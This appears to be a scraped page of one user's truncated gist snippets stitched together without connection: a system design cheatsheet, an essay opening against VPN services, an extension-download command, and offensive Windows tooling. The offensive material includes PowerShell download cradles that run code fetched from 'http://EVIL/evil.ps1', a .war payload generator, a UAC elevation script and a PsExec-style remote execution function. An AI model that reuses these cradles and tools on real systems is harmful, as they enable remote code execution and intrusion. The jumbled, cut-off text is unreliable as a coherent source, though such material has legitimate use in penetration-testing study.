SkyN9ne SkyN9ne

System Design Cheatsheet

Picking the right architecture = Picking the right battles + Managing trade-offs

Basic Steps

Clarify and agree on the scope of the system

User cases (description of sequences of events that, taken together, lead to a system doing something useful)
- Who is going to use it?
- How are they going to use it?

Don't use VPN services.

No, seriously, don't. You're probably reading this because you've asked what VPN service to use, and this is the answer.

Note: The content in this post does not apply to using VPN for their intended purpose; that is, as a virtual private (internal) network. It only applies to using it as a glorified proxy, which is what every third-party "VPN provider" does.

A Russian translation of this article can be found here, contributed by Timur Demin.
A Turkish translation can be found here, contributed by agyild.
There's also this article about VPN services, which is honestly better written (and has more cat pictures!) than my article.

Option 1: Command-line download extension as zip and extract

extension_id=jifpbeccnghkjeaalbbjmodiffmgedin   # change this ID
curl -L -o "$extension_id.zip" "https://clients2.google.com/service/update2/crx?response=redirect&os=mac&arch=x86-64&nacl_arch=x86-64&prod=chromecrx&prodchannel=stable&prodversion=44.0.2403.130&x=id%3D$extension_id%26uc" 
unzip -d "$extension_id-source" "$extension_id.zip"

Thx to crxviewer for the magic download URL.

	Function Start-FileSystemMonitor {
	<#
	.SYNOPSIS

	This function will monitor one or more file paths for any file
	creation, deletion, modification, or renaming events. Data including
	the change type, ACL for the file, etc. is output to the screen or
	a specified -LogFile.

	If -InjectShellCmd is specified, the given command is inserted into

	Function Invoke-HostFile {
	<#
	.SYNOPSIS

	Hosts a base64 string representation of a binary file or a given
	$FilePath on the specified $Port. Any HTTP request to the given
	host/port will return the binary data of the specified file.

	.PARAMETER Base64File

	#!/usr/bin/python

	# Code that quickly generates a deployable .war for a PowerShell one-liner

	import zipfile
	import StringIO
	import sys

	def generatePsWar(psCmd, appName):

	# normal download cradle
	IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")

	# PowerShell 3.0+
	IEX (iwr 'http://EVIL/evil.ps1')

	# hidden IE com object
	$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r

	# Msxml2.XMLHTTP COM object

	@echo off

	echo Checking for permissions
	>nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"

	echo Permission check result: %errorlevel%

	REM --> If error flag set, we do not have admin.
	if '%errorlevel%' NEQ '0' (
	echo Requesting administrative privileges...

	function Invoke-PsExec {
	<#
	.SYNOPSIS
	This function is a rough port of Metasploit's psexec functionality.
	It utilizes Windows API calls to open up the service manager on
	a remote machine, creates/run a service with an associated binary
	path or command, and then cleans everything up.

	Either a -Command or a custom -ServiceEXE can be specified.
	For -Commands, a -ResultsFile can also be specified to retrieve the

	The file install-vmware-tools is from REMnux v6 scripts: https://launchpad.net/~remnux/+archive/ubuntu/stable/+files/remnux-scripts_0.1.50.tar.gz

	install-vmware-tools_TrietPTM is my patch for the "install-vmware-tools" script that’s present on REMnux v6 to fix a compatibility issue between VMware Tools and the Linux kernel included in Ubuntu, which prevents shared folders from working.

	Other Ways You Can Help With REMnux: https://zeltser.com/remnux-v6-release-for-malware-analysis/